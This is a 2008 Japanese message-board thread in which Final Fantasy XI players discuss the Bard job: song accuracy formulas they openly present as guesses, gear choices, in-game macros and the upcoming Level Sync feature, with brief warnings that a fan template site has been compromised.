822 名前： 名も無き軍師 投稿日：2008/08/16(土) 22:19:16 ID:TRp7bxb2: >>821
基本命中率を算出する中で足し算されるのが魔法命中
ＣＨＲ、スキル、魔法命中で決定された基本命中率を一定倍するのが属性杖。
わかりにくかったら申し訳ない。。
CHR差と魔法命中率のバランスによっては一定倍されるよりも効果がある
というのがティアマットのRepに出てるんじゃないかな～というのが今持ってる考えです。
ここらへんはララバイの検証してる方のが進めば見えてきそうな気も。

ケルベロスは実際魔法命中装備いくらかき集めても変わらないとはいえ、その部分はただの妄想です。
単純に印使わない限りは１５％で頭打ち、とされてるだけなのですかね。
823 名前： 名も無き軍師 投稿日：2008/08/16(土) 22:27:11 ID:PrYIgyuS: CHR 150　歌唱 200
CHR 200　歌唱 150
とした場合
どちらの方が敵歌を掛けやすいんでしょうか
824 名前： 名も無き軍師 投稿日：2008/08/16(土) 23:43:36 ID:KEYddXT0: >>822
>ＣＨＲ、スキル、魔法命中で決定された基本命中率を一定倍するのが属性杖
これ、私も同意見なのですが、仮説の話なのでちょっと慎重に扱う話題だと思います。
＋なのか％アップなのかまだ未検証（そもそもその違いの可能性を示唆する論でさえ
認められてないかと思います。）

これ以上は検証データをまたいただけたら一歩進めるかと思います。詩人というジョブは
最近やっていませんが、かつて土杖とエレジーを調べた者としては興味があります。
個人的には、「あっても伸びは５、属性杖は３？程度」と仰ってるような、有意差が認められる
のにすごい難しい検証をするよりも、もっと簡単な検証をしていただけると、データの吟味が
しやすいのでありがたいと思います。
・ティアマットにレクイエム　（属性杖で40%前後）
・キマイラにパライズ　　　　（属性杖で20-30%前後）
・スキルの低いサポ暗でのスタン　（予想つかず）
あたりが興味深いです。
825 名前： 名も無き軍師 投稿日：2008/08/17(日) 00:09:27 ID:v61rnDvv: >>823
ほとんどの敵では前者だと思います
敵とのCHR差で。

>>824
たしかに検証データがないことにはこれ以上は進みませんね
ティアマットは気まぐれ、キマイラはもう飽きたので狩ることがまずないって点で
そこらへんのデータを取れるのがいつになるかわかりませんが・・
826 名前： 名も無き軍師 投稿日：2008/08/17(日) 03:12:27 ID:aJOfNU6b: ネ実の詩人スレで得意げになってるバカ見ててワロタ
827 名前： 名も無き軍師 投稿日：2008/08/17(日) 03:39:59 ID:Q3nw+hFg: メリポは管歌467,CHR110で敵歌キャップするって頭がアレな奴か？
マムコリブリで80％いきゃ良い方だろと思いながら見てたが
828 名前： 名も無き軍師 投稿日：2008/08/17(日) 03:43:24 ID:TUAI/V8F: 魔法命中の予想

（基本魔法A値＋（歌スキル＋対象とのCHR差）×系統倍数））×属性杖×魔法命中率×MBボーナス
こんな感じだと予想。基本は精霊ダメージの式からの転用。人が作ったプログラムなので似たような
式を使っているという推測が大前提にある。
829 名前： 名も無き軍師 投稿日：2008/08/17(日) 03:58:39 ID:TUAI/V8F: >>828の妄想続きなんですけど、物理命中の式で推測しなかったのは
・CHRの重要性を感じている人がいるので、CHRを考慮するならCHR/2みたいな式より対象とのCHR差という数値なら説明しやすい
・上記の話の補足としてCHRが高い白・竜・獣使いへのララバイの効きが悪いと感じている人が多数いる

歌スキルはただ単純に「歌唱スキル＋管楽器スキル」じゃなくて（それだと合計値が高い）
「歌唱スキル/2＋管楽器スキル/2」とか「歌唱スキル/3＋管楽器スキル/2」みたいな数値でなってるとか
仮説の仮説がたくさんありまくりです。
830 名前： 名も無き軍師 投稿日：2008/08/17(日) 04:09:01 ID:zPdvSWh2: 以前から思うんだが詩人スレってこの手の検証ものは充実してるよね。
テンプレサイトの充実ぶりも明らかに上位と思うし。
おかげで俺のような後続も詩人を楽しんで上げれたよ。

あとはギターを実装してくれ・・ミンサガやった後じゃどーしても弾きてぇんだよおおお
831 名前： 名も無き軍師 投稿日：2008/08/17(日) 16:10:50 ID:dd+DCaUX: 流れぶった切りですまない。

メリポ行く時って指輪潜在発動時HPどのくらい？
私は910位なんだが、めいっぱいスキル装備とかの詩人さんは800位の方も見かける。

釣りする事も考えて、HP+装備もまぜてスキル/CHR/HPをバランスよくと思ってるけど、
みんなはスキル/CHRmaxにしてHP下げるよう調整してるんだろうか？

後もう一点。
サポ白時はオートリジェネでどうしてもHPが回復してしまうわけだが、
サポ白時はみんなどうしてるんだろう。
潜在発動無しor着替えて潜在発動。

ゼニス持ってなくてわからないんだが、
ゼニス何箇所か装備したらHPmaxのままでも常時潜在発動になるんだろうか。
832 名前： 名も無き軍師 投稿日：2008/08/17(日) 18:29:09 ID:L8IWxbgB: >>831
常時潜在とかきっと何かの勘違い。
とりあえずゼニス揃えれば５種で250は減らせるからそれだけで大抵は
発動できるように調整できる。
サポ白でやりたいならわざと釣りのときに殴られるか、毒飲むか、
こまめに着替えしてHP黄色に戻すかだろうけど、やはり潜在リング使う
ならサポは赤にかぎるぜ。
833 名前： 名も無き軍師 投稿日：2008/08/17(日) 18:51:52 ID:yTTAuyca: 俺は敵歌でも潜在発動させてるわ

メリポ歌8管8
HQ杖/属性グリップ
マル頭/ウィンド首/歌耳/ロケイシャス/シャイル胴/シャイフ手/光R/潜在R
ジェスタ+1/グリマン/マル脚/ラスパン
マクロでゼニスとかでHP減らしてる
これで常時発動だぜ
メリポの敵ごときこれで十分
834 名前： 名も無き軍師 投稿日：2008/08/17(日) 19:11:49 ID:LI6LNXb/: >>832
意味がわからない
俺も常時発動させてるんだが
835 名前： 名も無き軍師 投稿日：2008/08/17(日) 19:31:25 ID:JVe24NIk: 敵歌にはスキル、CHRで固めるから
自分の装備じゃ潜在発動できんなぁ
836 名前： 名も無き軍師 投稿日：2008/08/17(日) 21:40:53 ID:dd+DCaUX: >>832さん
サポ白でやりたいわけではなく、詩2だとどちらかがサポ白になるのでその時用に。
常に上段ならサポ赤でも良いかもしれませんが、監視哨等だとナ系は外しにくいですから。
837 名前： 名も無き軍師 投稿日：2008/08/17(日) 23:20:05 ID:ZX9lEZnd: >>834
黒召と勘違いしてない？ってことでしょ。

>>835
いちいち着替えてると長時間メリポとかじゃめんどくない？慣れれば違うのかな。
俺はCHR+5や魔法命中+4くらいなら別にいーやってことで敵歌もミンスコ。
838 名前： 名も無き軍師 投稿日：2008/08/18(月) 10:39:06 ID:jJXx1HFe: 潜在でHP少ないの気になるようだったら、HP減らすんじゃなくHP増やす方を心がけるといい
ボムQやギガマン・玄武兜は必須だとは思うが、HP増やして歌2曲→通常装備に戻せば
HP満タンで25%詠唱カット、慣れてないと邪魔くさく感じるけど
慣れればマクロ2個多く押すだけだから、ｗｓ撃つ感覚で歌えるようになる
839 名前： 名も無き軍師 投稿日：2008/08/18(月) 15:12:45 ID:6y/EFZxj: サポ白の時は潜在使ってないな～
エーテルリングとかセルケトリングの分のMP無駄になるタイミングもあるよね？
面倒くさそう
840 名前： 名も無き軍師 投稿日：2008/08/18(月) 16:29:20 ID:3dnCmBIg: ネ実に書いたんだけど>>828より自分の中ではすっきりとした式ができたのでこっちにも貼り付けておきます。

（基本命中固定値＋（管楽器スキル×α＋歌唱スキル×β））×魔法クリティカル率（敵CHRとの差）×属性杖×魔法命中率×MBバースト補正×敵レジスト率×敵魔法回避率

・基本命中固定値・・・これは精霊・魔法・弱体・歌のレジ率が違うのでこの項目はありそう
・管楽器スキル×α＋歌唱スキル×β・・・スキルの合計値は1:1の割合でない気がする。管：歌＝１：２くらいかな（ブログの検証を巡りと体感で）
・魔法クリティカル率・・・実は前から存在する項目であって敵CHR差でもとめられるなら今までのある程度CHRが必要という経験の説明がすっきりする。
（物理クリティカルはダメージ補正だが、魔法クリティカルは命中補正と考えれば・・・ちょっと苦しいかな？）
後の項目は割愛
841 名前： 名も無き軍師 投稿日：2008/08/19(火) 14:56:12 ID:APpDk0TA: Janeで見るとこのスレだけフォントが変なんだが
どこかに変な文字入ってる?
842 名前： 名も無き軍師 投稿日：2008/08/19(火) 15:02:19 ID:B4ESsVIO: >>841
【ツール】【設定】【色・フォント】【はい、お願いします】
843 名前： あぼーん 投稿日：あぼーん: あぼーん
844 名前： 名も無き軍師 投稿日：2008/08/22(金) 14:12:19 ID:SgyOdK7d: ここを過疎化させたいのか? 帰れ
845 名前： 名も無き軍師 投稿日：2008/08/22(金) 16:24:24 ID:6sbz2tUa: あぼーんまでするとは管理人必死すぎ
846 名前： 名も無き軍師 投稿日：2008/08/22(金) 16:32:55 ID:iHLl2A4m: 自治スレみてこい
847 名前： age 投稿日：2008/08/25(月) 01:52:36 ID:Wa6g6Ehx: また吟遊詩人テンプレに罠スクリプトが埋め込まれてるので注意しる
848 名前： 名も無き軍師 投稿日：2008/08/26(火) 01:28:12 ID:7hYaxqml: レベルシンク、詩人にとってはありがたくないな…
低レベル低時給のＰＴに呼ばれまくる可能性が。
849 名前： 名も無き軍師 投稿日：2008/08/26(火) 02:40:57 ID:b8NjGmrx: 誘われる方も悪い、自衛ぐらいしろ。
850 名前： 名も無き軍師 投稿日：2008/08/26(火) 07:27:14 ID:QIMJ6LRI: フレやLSメンにどのレベル帯でも詩人で来てくれませんか?
と言われて何もできなくなるって話?
851 名前： 名も無き軍師 投稿日：2008/08/26(火) 09:30:12 ID:1jlIk/x6: 詩人さん、シンクＰＴいかがですか？＾＾
852 名前： 名も無き軍師 投稿日：2008/08/26(火) 09:37:27 ID:k6wdxSKY: 【レベルシンク】PT?
853 名前： 名も無き軍師 投稿日：2008/08/26(火) 09:45:25 ID:QYsIHDUy: 詩人の奴隷ジョブっぷりが加速するVUに絶望したと同時に、LSやフレのPTへ気軽に参加出来るという点を有難く思う自分が居る。
854 名前： 名も無き軍師 投稿日：2008/08/26(火) 11:03:31 ID:QrUnREQP: レベルシンク中に制限レベル以上の装備品に「着替え」が出来ない

とかやらかしてくれそうで怖い
855 名前： 名も無き軍師 投稿日：2008/08/26(火) 12:21:05 ID:y5rfktoL: メリポ希望 JP ONLY
【レベルシーク】【せっかくだけど遠慮します】
856 名前： 名も無き軍師 投稿日：2008/08/26(火) 12:21:45 ID:y5rfktoL: ｼﾝｸだったねﾃﾍｯ
857 名前： 名も無き軍師 投稿日：2008/08/26(火) 14:11:54 ID:ZInbCbCZ: ついにヘカトン、空、AF+1装備のステータス超ブースト詩人が
メインアタッカーになれるんですね！
STR+80 DEX+45 がどの程度まで落ちてしまうかだけど。
スキル差のないLv60位までは、片手剣、両手棍で強いだろうなぁ。
858 名前： 名も無き軍師 投稿日：2008/08/26(火) 14:23:18 ID:Fp2yMZDN: 低レベルに詩人が呼ばれるわけないだろjk
859 名前： 名も無き軍師 投稿日：2008/08/26(火) 16:54:05 ID:/tP7NdSr: Lv65ぐらいまで攻撃装備揃えてたけど
ろくな片手剣なかったけどなあ…WSもファストだし
860 名前： 名も無き軍師 投稿日：2008/08/26(火) 18:17:35 ID:KNjXv+YL: >>859
俺はサポ戦士にしてボーパルうってた
そのレベルぐらいからもうスキル差が顕著にでてきてスカスカになりますな
命中8割切った時点で殴り詩人はPTではやらなくなったなぁ
861 名前： 名も無き軍師 投稿日：2008/08/26(火) 21:08:20 ID:XpFbQFKj: がっかり予想
【本命】属性杖の隠し命中がカットされレベル51～74のレベル帯では、レジがすごく実用ではない
【対抗】メヌ４からメヌ３、栄光から凱旋などマクロの変更作業が増え煩雑さアップ、肝心なときにマクロ変えてなくて不発で大ピンチ
【単穴】レベル上げから誘われる。メリポ希望だというと「詩人様かよ」と罵られる
【連下】せっかくスリム化した楽器、ギャラッルの歌＋２の無効化で結局また楽器を揃える羽目に
862 名前： 名も無き軍師 投稿日：2008/08/26(火) 21:12:40 ID:gdplmuur: >>【単穴】レベル上げから誘われる。メリポ希望だというと「詩人様かよ」と罵られる
これがほんとウザいよな
サチコにメリポ希望って書いててもたまに74のやつから誘われたりするし
野良で球出しとかもう無理だわ…
863 名前： 名も無き軍師 投稿日：2008/08/26(火) 21:27:25 ID:JC9hzhqv: >>861
装備Lvになってるものは能力制限受けないからやっぱ【対抗】と【単穴】だな。
864 名前： 名も無き軍師 投稿日：2008/08/26(火) 21:41:14 ID:5dtEZg+Z: ミンストレルリングなんだけど
表記と違って実際は詠唱時間-15%しかなくない？
865 名前： 名も無き軍師 投稿日：2008/08/27(水) 01:11:51 ID:Mifad8lq: >>864
言い切るそのソースは？体感？
866 名前： 名も無き軍師 投稿日：2008/08/27(水) 01:31:58 ID:oVBCIAgg: メリポ希望でレベルシンクPTに誘われるとかありそうだなｗ
時給8000とかやってららんわぁ～
867 名前： 名も無き軍師 投稿日：2008/08/27(水) 02:11:40 ID:FPZIVatH: メリポ希望【レベルシンク】【いりません】

これでいいじゃん、棲み分け簡単だろうコレは。
ぬるぽを避けるより簡単だし、普通にアリだと思うぞ。
なんせ10～75が対象とかなんだから、いちいち75誘うってのもな・・。

むしろ30や50ぐらいのPTに、敢えて75でメリポ希望してる詩人誘う方が不自然だろう。
60台のとかでも全然いいんだからね。
868 名前： 名も無き軍師 投稿日：2008/08/27(水) 04:52:28 ID:5BYA7Yat: 実際どうなるか、きてみないと予想出来ない
869 名前： 名も無き軍師 投稿日：2008/08/27(水) 10:33:55 ID:rlE17/aH: すみませんちょっと教えてほしいのですが
雑談板のメリポ愚痴スレにて、ピアニッシモ時に白虎佩楯のヘイスト目的に着替えるのはなぜなんでしょう？
(この時は命中足りてない前衛にピンマド)
もう少しで詩人でメリポ初デビューなのですが、佩楯がないので分からなくて不安です。
870 名前： 名も無き軍師 投稿日：2008/08/27(水) 10:50:49 ID:95ZfwyDn: メリポ詩人に佩楯なんてなくてもいいよ
てかなぜ着替えるんだ？アビのリキャは縮まらないし
複数にマドをピンでかけるのか？
871 名前： 名も無き軍師 投稿日：2008/08/27(水) 10:59:26 ID:rlE17/aH: えとですね、こんな書き込みがあったから不安だったんです。
409 名前：(･ω･)[sage] 投稿日：08/08/21(木) 12:42:05 ID:fvatfGOW
ピンマドマクロに佩楯仕込んで歌ってたら
大まじめに「嫌がらせですか＾＾；」ってカモメの糞飛ばされたって愚痴。

嫌がらせって認識するくらいコンプレックスなら、さっさと取ってこいや赤いの履いた戦死め。
415 名前：(･ω･)[sage] 投稿日：08/08/21(木) 17:17:08 ID:dqIpyAMM
ピアニッシモ使うときにヘイスト装備ってのは選択肢の一つだよ
で釣りしながら詩人が着替えられる装備っていうと佩楯ワラタゴリぐらいのもんで
命中足りて無さそうな戦士さんにピンマドしてあげたのにひどいにゃー

って詩人的には思ったけど俺佩楯ないし別にいいや
872 名前： 名も無き軍師 投稿日：2008/08/27(水) 11:01:14 ID:rlE17/aH: ああすみませんあげてしましました。
それでメリポ詩人というのはヘイスト意識して佩楯持ってないとダメなのかと思いました。
873 名前： 名も無き軍師 投稿日：2008/08/27(水) 11:10:08 ID:onJkMx5g: 戦士さん、ハイダテも持ってないんですか？
僕は持ってます、せめてこれぐらいとって来てからメリポ来てくださいね
と言う嫌がらせ
と言う嫌がらせを詩人スレで言われたと言い触らすための釣り書き込み
874 名前： 名も無き軍師 投稿日：2008/08/27(水) 11:14:19 ID:rlE17/aH: いや、まじめに聞いてるんですが・・・
とりあえず必要ないと分かりましたのでこのままあげようと思います。
ありがとうございました。
875 名前： 名も無き軍師 投稿日：2008/08/27(水) 11:54:04 ID:7qFVB1q8: まじめな無能ほど始末におえない良い例
876 名前： 名も無き軍師 投稿日：2008/08/27(水) 13:36:59 ID:nj0AXxB4: ワラーラとエラントでメリポで大活躍していた貧乏詩人が通りますよ・・・
877 名前： 名も無き軍師 投稿日：2008/08/27(水) 13:45:33 ID:uk0Pyymz: 同じ歌を連続で詠唱しなければならないときは、
リキャスト時間を短縮するシャイル手やヘイストが
重要視されることはたまにある

具体例をあげると

1) 前衛全体にメヌエット
2) 前衛全体にマーチ
3) ピアニッシモで青にバラ２

として、前衛をメヌマチ、青だけバラマチにしておいて

4) 後衛全体にバラ１
5) 後衛全体にバラ２

と詠唱する場合、3) で青にバラ２を歌うとき、ある程度の
詠唱時間短縮をしていないと、5) のバラ２を歌うまで５秒
程度のリキャスト待ちが発生する

ピンマドの場合、全体にマドしているなら剣闘士をピン
全体はマドがないなら対象１人にだけ剣豪だから、
ヘイスト装備はまったく必要ない

上記のような理由で、ピアニッシモマクロの空き行に
ヘイスト装備への着替えが入ってる都合で装備してる

という理由ならありえないこともない
878 名前： 名も無き軍師 投稿日：2008/08/27(水) 13:48:59 ID:uk0Pyymz: 立ち回りとしては、1) 3) 2) 4) 5) の順で歌えばいいのだが

って書いておくのを忘れたわ
まあ、色々あって順序が狂ったりすることはあるので、

ピアニッシモで歌う曲とピアニッシモなしで歌う曲が一致

という条件が発生したらリキャストに気を使えって話だな

フィナーレはリキャスト短縮着替えを仕込んでおくと便利だよ
アサルト・ナイズルなんかはララバイにも仕込んでも大丈夫だよ
879 名前： 名も無き軍師 投稿日：2008/08/27(水) 14:10:56 ID:dJQssi4A: うん、レベル上げならそーだね。
880 名前： 名も無き軍師 投稿日：2008/08/28(木) 19:55:06 ID:e/+uRv7b: >>840
自分は魔法の命中も物理の命中と同じ計算式だと思う
下のような感じで魔法命中の値が決められ、敵のもってる魔法回避の値とで魔法命中率が決まる
そしてこれは物理とは違って魔法ごとに敵に回避値が異なって設定される
歌唱スキル＋管楽器スキル500未満の命中＝int(if△CHR>10(CHR*0.5,CHR*1))+(歌唱スキル+管楽器スキル)+魔法命中＋属性杖命中ボーナス
歌唱スキル＋管楽器スキル500以上の命中＝int(if△CHR>10(CHR*0.5,CHR*1))+500+魔法命中＋int(((歌唱スキル+管楽器スキル)-300)*0.5)＋属性杖命中ボーナス

※if△CHR>10(CHR*0.5,CHR*1)
敵とのCHR差10より上ならCHR*0.5、10以下ならCHR*1

属性杖は装備についてる魔法命中率＋３０と同じ効果
つまりCHRとスキルは上限があってそれ以上増やしても増加率は減少する
魔法命中率＋と属性杖は単純に加算される　こんな感じだと予想
881 名前： 880 投稿日：2008/08/28(木) 19:58:10 ID:e/+uRv7b: 500の間違いだった・・

×　歌唱スキル＋管楽器スキル500以上の命中＝int(if△CHR>10(CHR*0.5,CHR*1))+500+魔法命中＋int(((歌唱スキル+管楽器スキル)-300)*0.5)＋属性杖命中ボーナス
○　歌唱スキル＋管楽器スキル500以上の命中＝int(if△CHR>10(CHR*0.5,CHR*1))+500+魔法命中＋int(((歌唱スキル+管楽器スキル)-500)*0.5)＋属性杖命中ボーナス
882 名前： 名も無き軍師 投稿日：2008/08/28(木) 21:55:32 ID:nWy6BAwZ: すいません、デンプレサイト見るのが怖いんでここで質問
楽器持ち替える時って
/ma 歌
/equip レンジウェポン楽器

で大丈夫でしたっけ？
883 名前： 名も無き軍師 投稿日：2008/08/28(木) 22:10:58 ID:J0zLKGhc: >>882
大丈夫だけどそれだと点滅する
884 名前： 名も無き軍師 投稿日：2008/08/28(木) 22:13:45 ID:nWy6BAwZ: むむむ。点滅しない方法ってありますか？
885 名前： 名も無き軍師 投稿日：2008/08/28(木) 22:20:39 ID:MDvSZTr/: ナイチンゲールとトルバドゥールって同じエフェクトの色違いだけど
なんでトルバのほうだけ最後に変な音がするんですか。
886 名前： 名も無き軍師 投稿日：2008/08/28(木) 22:21:54 ID:J0zLKGhc: >>884
歌と楽器変更の間に/waitマクロを挟むか、楽器変更を先に持ってきて歌発動を<stpc>にでもすれば回避可能。
他にも回避手段があるけど、そこは試行錯誤する楽しさを奪わない為にも頑張ってくれと言っておく。
887 名前： 名も無き軍師 投稿日：2008/08/29(金) 00:20:30 ID:RH0sMDTk: 違う系統の楽器に持ち帰れば、どうやっても点滅すると思うのだが...
モーションを消したくないと言うことなら、詠唱に待ち時間が発生する
ことのデメリットと天秤にかけて待ちを入れるくらい?
888 名前： 名も無き軍師 投稿日：2008/08/29(金) 12:42:17 ID:91fUqz3w: >>885
開発の人にでも聞けよ。
ここで聞いてそんな事を答えられる奴がいるとでも？少し考えろよ。
889 名前： 名も無き軍師 投稿日：2008/08/29(金) 18:44:45 ID:N43ueV4g: 君は落ち着いて小魚を食え
890 名前： 名も無き軍師 投稿日：2008/08/31(日) 10:31:44 ID:rMYF0OWU: 質問　ちょっといいですか？
呪歌のスレノディは1曲しか入らない、という事は分かったのですがレクイエムに関しても同様に1曲のみなのでしょうか？
また、味方歌同様に合計で2曲までしか入らないという縛りは存在するのでしょうか？
例えば、スレノディ>レクイエム>エレジーと入れた場合、スレノディは消滅するのでしょうか？

分かる方居ましたら教えてください。
891 名前： 名も無き軍師 投稿日：2008/08/31(日) 10:35:23 ID:qyS8U5/7: その発想はなかった
892 名前： 名も無き軍師 投稿日：2008/08/31(日) 11:52:31 ID:Q/5hBMW4: >>890
オズでヤグに（海蛇でサハギンに）歌われてくるといいよ。
893 名前： 名も無き軍師 投稿日：2008/08/31(日) 15:07:29 ID:5PaudFog: マーチに関して質問させてください。

以前フレに、マーチの効果は歌唱＋楽器スキルとCHRに依存すると言われて信じていたのですが
いろいろ調べてみると、CHRに依存するという記述は見あたらず
歌唱＋楽器スキルにのみ依存するように見えるのですが、
CHRは関係ないという見解で良いのでしょうか？
894 名前： 名も無き軍師 投稿日：2008/08/31(日) 19:04:20 ID:J6NDDygn: それでおｋ
895 名前： 名も無き軍師 投稿日：2008/08/31(日) 19:05:46 ID:J6NDDygn: あとフェアリーピッコロ等のマーチ+楽器は
+1でマーチヘイスト+1%と効果時間+10秒相当
896 名前： 名も無き軍師 投稿日：2008/08/31(日) 23:24:50 ID:5PaudFog: ありがとうございます。
ずっとCHRも関係あると思ってたのでショックorz~
装備を見直します。
897 名前： 名も無き軍師 投稿日：2008/09/02(火) 07:03:14 ID:lydlv4Fd: >>890
スレは同じ枠だから重ねがけ出来ないけど、
他は重複可能だろｊｋ

>味方歌同様に合計で2曲までしか入らない
味方と敵は違うだろｊｋ

以上、俺の常識（）笑
試したわけじゃないので違ってたらごめんなｗ
898 名前： 名も無き軍師 投稿日：2008/09/02(火) 08:46:12 ID:Pzbe60A5: >>895

楽器の効果間違ってるよ
899 名前： 名も無き軍師 投稿日：2008/09/02(火) 13:05:21 ID:SKbSU7qJ: ちょと教えてください
シャイル胴の詩ー１２とマルドクフル装備のＦＣ５％は
詩が終わるのはどっちが早いんでしょうか？
900 名前： 名も無き軍師 投稿日：2008/09/02(火) 13:27:04 ID:B5zch6QO: >>899
シャイル
901 名前： 名も無き軍師 投稿日：2008/09/02(火) 13:35:02 ID:qQDivDVN: つか、フルマルドゥクはコンビネーションと胴の合計でＦＣ１０％じゃなかった？
んで、歌－１０％のイギト胴相当。シャイル胴はそれより速い。

間違ってたら訂正よろ
902 名前： ninjakun 投稿日：2008/09/02(火) 15:33:07 ID:051pmnZ/: 　　　　_, ,_∩∩
　　 (；｀Д)彡彡　マンボ!マンボ!
　　((⊂⊂彡
　　|　　　|
　　ヽ_つＪ

∩∩_, ,_　_, ,_∩∩
ミミ(Д´≡｀Д)彡　マンボ!マンボ!マンボ!マンボ!
　ミ⊃⊃⊂⊂彡
　　|　　　|
　　し ωJ

　　　⊂⌒⊂(； _, ,_)⊃　ﾊｧﾊｧ・・・・
903 名前： 名も無き軍師 投稿日：2008/09/02(火) 16:55:01 ID:toWlmK/K: >>899
FCと歌の詠唱時間短縮は同じ意味
当然数値高い方が効果が大きい
904 名前： 名も無き軍師 投稿日：2008/09/02(火) 17:24:33 ID:A8BdkxVt: 901のとおり

>>903
詠唱時間時間だけならフルマルドゥクとイギト胴も両方-10%で同じだが、
マルドゥクはFCなのでリキャストにも効果あるから、同じ意味ではないよ。
905 名前： 名も無き軍師 投稿日：2008/09/02(火) 17:28:40 ID:toWlmK/K: >>904
あ…説明不足だったな
質問の詠唱終了時間は数値の単純比較でいいって書けば良かったか
906 名前： 名も無き軍師 投稿日：2008/09/02(火) 23:38:53 ID:051pmnZ/: 　　　　　　　　　　　　　　　　　　　　　　　>>899
　　　　　　　　　　　　　　　　　　　
　　　　　　　　　　　　　／）
　　　　　　　　　　　／／／）
　　　　　　　　　／,.=ﾞ''"／
　　　／　　　　 i f　,.r='"-‐'つ＿＿＿_　　　細けぇことはいいんだよ
　　/　　　　　 /　　　_,.-‐'~／⌒　　⌒＼
　　　　／　　,i　　　,二ﾆ⊃（ ●）.　（●）＼
　　　/　　　ﾉ　　　 ilﾞフ::::::⌒（__人__）⌒::::: ＼
　　　　　　,ｲ｢ﾄ､　　,!,!|　　　　　|r┬-|　　　　　|
　　　　　/　iﾄヾヽ_/ｨ"＼　　　 `ー'´ 　　／
907 名前： 名も無き軍師 投稿日：2008/09/05(金) 14:01:10 ID:3/m0pjDT: シンギングピアスとウィンドピアス
優先して買うべきなのはどちらでしょうか？
908 名前： 名も無き軍師 投稿日：2008/09/05(金) 14:06:23 ID:JG2Ih2T8: 個人的にシンギングを愛用してる
以前歌唱スキルの方が効果が高いとかいう検証出てたんで、
ついでにうちの鯖だとシンギングの方が安いし
909 名前： 名も無き軍師 投稿日：2008/09/05(金) 14:24:52 ID:JfS+A4hV: >>908
どのソースだろ？
俺の中では、歌唱＋管楽器の合計で効いてくるって認識なので同列で考えてるな
結局の所安いシンギングだけどなｗ
910 名前： 名も無き軍師 投稿日：2008/09/05(金) 14:34:04 ID:YaYCnttQ: >>909
大丈夫？ファミ通のハンターズバイブルIIだよ？
911 名前： 名も無き軍師 投稿日：2008/09/05(金) 15:08:40 ID:3/m0pjDT: Uchino鯖だと両方45-50万水位だから悩んでたんだけど、シンギングで良さそうですね。
912 名前： 名も無き軍師 投稿日：2008/09/05(金) 16:08:09 ID:x+oghZcF: またファミ痛か
913 名前： 名も無き軍師 投稿日：2008/09/05(金) 16:56:55 ID:X9eToStU: シンキングミノー耳につけてくるわ
914 名前： 名も無き軍師 投稿日：2008/09/05(金) 19:24:29 ID:nYGL8BV0: >>909
歌唱スキルが敵歌に関係有ると最初に検証した人も歌唱＞管楽器という検証結果だったな。
ブログ巡りすると歌唱２：管楽器１とかと考えてる人も多い。
915 名前： 名も無き軍師 投稿日：2008/09/05(金) 19:43:34 ID:OFa4+2iy: >>914
「検証結果」というと統計的有意差があったみたいだがそうじゃないので
まぎらわしい言い方はやめてにゃん。

> また、これはあくまでも体感なのですが、歌唱スキルの方が管楽器
> スキルようにも敵歌のレジの影響が大きい気もしました。
> （これは予備検証での感想です）

テンプレサイトの「検証・報告/スキル・CHRブーストとレジ率の関係について」ね。
しかしXREAのサイト改竄、まだ収束してねーのかな。
916 名前： 名も無き軍師 投稿日：2008/09/07(日) 03:59:44 ID:3RxURfXb: 詩人2週目の俺だがシャイル胴の供給ストップぷりにストレスがマッハ
暴落したら嫌だしでもその前に売ってない買えない買いにくい
917 名前： 名も無き軍師 投稿日：2008/09/07(日) 04:00:25 ID:d/EXrst6: オッサンにシャイルは不要
918 名前： 名も無き軍師 投稿日：2008/09/07(日) 04:01:40 ID:3RxURfXb: ヒュム♀できたいんです；；
919 名前： 名も無き軍師 投稿日：2008/09/07(日) 07:28:05 ID:GNReF7w5: >>918
パンツ分解からしてもらえばよいではないかｗ
え、職人？　がんばって見つけろｗ
920 名前： 名も無き軍師 投稿日：2008/09/09(火) 05:27:15 ID:VYyaPAiN: ハイパートルク　CHR+5 管楽器スキル+5 カンパニエ：管楽器スキル+10
http://www.live-emotion.com/ff11/detail.php/id/16278/
921 名前： 名も無き軍師 投稿日：2008/09/09(火) 05:30:40 ID:VM1nFibh: パイパーだよ
922 名前： 名も無き軍師 投稿日：2008/09/09(火) 06:12:11 ID:s9zOKTg4: カンパニエ：管楽器スキル+10
・・・いらね
923 名前： 名も無き軍師 投稿日：2008/09/09(火) 08:58:18 ID:FFS0hzDD: カンパニエ：バラード+2
みたいな神経逆撫で装備がこなかっただけ良しと考えよう
924 名前： 名も無き軍師 投稿日：2008/09/09(火) 09:28:17 ID:BHfqVyE3: そういや、この前ストームファイフ持って野良ナイズル行ったらすげー驚かれたなぁ
詩人やってないと存在すら知らないんだろうね、バラード＋楽器なんて
925 名前： 名も無き軍師 投稿日：2008/09/09(火) 10:39:54 ID:W6cAUupc: ■新スカウト対象NPC
ルーウェンハート (Lewenhart)
未スカウト時：エルディーム古墳
スカウト方法：聖水をトレード、メインジョブが詩人だと効果高い

たしかにこんな人いたなｗ
926 名前： 名も無き軍師 投稿日：2008/09/09(火) 11:21:51 ID:LCvo3pBe: カルンウェナンLv75ExRareＤ29 隔186
魔法命中率+10 歌の効果時間延長モーダントライムアフターマス:魔法命中率+/命中+/時々2回攻撃
どの程度のびるのかな?
味方歌のときはこれになっちゃうのかしら?
927 名前： 名も無き軍師 投稿日：2008/09/09(火) 11:32:59 ID:aDxA2OEX: >>926
はやくあれきさん3万個集める作業に戻るんだ
928 名前： 名も無き軍師 投稿日：2008/09/09(火) 11:46:22 ID:LCvo3pBe: スマン、素で間違えた忘れてくれ・・・
929 名前： 名も無き軍師 投稿日：2008/09/09(火) 11:51:58 ID:A5Tc/Yqu: >>925
本職にすら忘れられてる詩人NPCｗ
930 名前： 名も無き軍師 投稿日：2008/09/09(火) 11:54:39 ID:A5Tc/Yqu: >>922
カンパニエの敵なんてNMでさえ、属性杖持ってりゃLv60台でも余裕で弱体歌はいるのに
スキルアップ意味なさ杉だよな・・・
７５なら普通の実戦装備でまずレジられないだろう・・
931 名前： 名も無き軍師 投稿日：2008/09/09(火) 15:49:51 ID:H3M5U7uh: >>920
どこで取れるんだろ
932 名前： 名も無き軍師 投稿日：2008/09/09(火) 18:02:32 ID:NKiqp5Dc: モーダントライム覚えたぜ

エヴィよりちょっと強いくらいのダメージｗｗｗ
追加効果つかえねえｗｗｗｗ
933 名前： 名も無き軍師 投稿日：2008/09/09(火) 18:43:38 ID:I2ZvYeez: ミシックウェポンも歌の効果時間だけ延びても微妙だし、
詩人的には秘宝関係は無かったことかね…
934 名前： 名も無き軍師 投稿日：2008/09/09(火) 20:25:40 ID:08AJ2Hpr: まあ詩人の武器作るくらいなら他の作るよね
レリック両手棍以上のレア物になりそう
